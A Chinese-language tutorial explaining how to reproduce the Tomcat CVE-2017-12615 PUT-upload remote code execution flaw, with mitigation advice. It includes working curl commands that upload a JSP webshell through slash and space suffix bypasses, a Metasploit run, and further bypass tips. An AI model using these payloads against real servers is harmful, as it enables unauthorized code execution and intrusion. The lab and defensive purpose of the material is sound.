溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Tomcat遠程代碼執行漏洞CVE-2017-12615復現

發布時間:2021-12-28 16:59:42 來源:億速云 閱讀:276 作者:柒染 欄目:安全技術
# 如何進行Tomcat遠程代碼執行漏洞CVE-2017-12615復現

## 漏洞概述

CVE-2017-12615是Apache Tomcat服務器中的一個高危遠程代碼執行漏洞,影響版本為Tomcat 7.x至7.0.81(默認配置下)。該漏洞源于HTTP PUT方法的不當處理,攻擊者可通過構造惡意請求上傳JSP文件,最終實現任意代碼執行。

### 影響版本
- Apache Tomcat 7.0.x ≤ 7.0.81(默認配置)
- 需滿足以下條件:
  - 啟用了HTTP PUT方法(默認禁用)
  - 未配置`readonly="true"`參數

## 環境搭建

### 實驗環境要求
- 靶機:Ubuntu 20.04 + Tomcat 7.0.81
- 攻擊機:Kali Linux 2023
- 網絡:同一局域網或Docker環境

### 靶機部署步驟
```bash
# 下載受影響版本Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz

# 解壓并配置
tar -zxvf apache-tomcat-7.0.81.tar.gz
cd apache-tomcat-7.0.81/conf

# 修改web.xml啟用PUT方法
sed -i 's/<readonly>true<\/readonly>/<readonly>false<\/readonly>/' web.xml

# 啟動Tomcat
../bin/startup.sh

漏洞復現過程

步驟1:驗證PUT方法可用性

使用curl發送測試請求:

curl -X PUT http://192.168.1.100:8080/test.txt -d "Hello CVE-2017-12615"

若返回HTTP/1.1 201 Created,說明PUT方法已啟用。

步驟2:繞過防護上傳JSP文件

Tomcat會攔截直接上傳的.jsp文件,需使用以下技巧繞過: 1. 斜杠后綴繞過

   curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
  1. 空格繞過
    
    curl -X PUT http://192.168.1.100:8080/shell.jsp%20 -d "<jsp-code>"
    

步驟3:驗證Webshell

訪問上傳的JSP文件并執行命令:

http://192.168.1.100:8080/shell.jsp?cmd=id

應返回當前用戶的UID信息。

漏洞原理分析

關鍵問題點

  1. PUT方法處理缺陷

    • DefaultServlet未正確處理特殊字符(如斜杠/空格)
    • 文件路徑校驗邏輯可被繞過
  2. JSP編譯機制

    • 上傳的.jsp文件會被Jasper編譯器自動解析
    • 無需重啟服務即可生效

安全配置對比

安全配置 漏洞狀態
readonly=true 不可利用
readonly=false 可被利用
啟用PUT方法 必要條件

防御措施

臨時解決方案

  1. 關閉PUT方法(conf/web.xml):

    <init-param>
       <param-name>readonly</param-name>
       <param-value>true</param-value>
    </init-param>
    
  2. 添加Filter限制上傳擴展名:

    <filter>
       <filter-name>UploadFilter</filter-name>
       <filter-class>com.example.UploadFilter</filter-class>
    </filter>
    

長期解決方案

  • 升級到Tomcat 7.0.85+版本
  • 部署WAF規則攔截惡意PUT請求
  • 定期進行安全審計

擴展實驗

使用Metasploit自動化利用

msfconsole
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS 192.168.1.100
set RPORT 8080
exploit

防護繞過進階技巧

  1. 分塊編碼傳輸(Chunked Encoding)
  2. 雙編碼繞過(%2520代替空格)
  3. 結合CVE-2017-12617進行權限提升

法律與倫理聲明

  1. 本實驗僅限授權環境測試
  2. 禁止用于真實生產環境
  3. 遵守當地網絡安全法律法規

參考資源

”`

注:實際復現時建議使用隔離的虛擬機環境,本文所述IP地址均為示例。完整復現過程約需30-45分鐘,包含環境搭建、漏洞驗證和防護測試三個主要階段。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女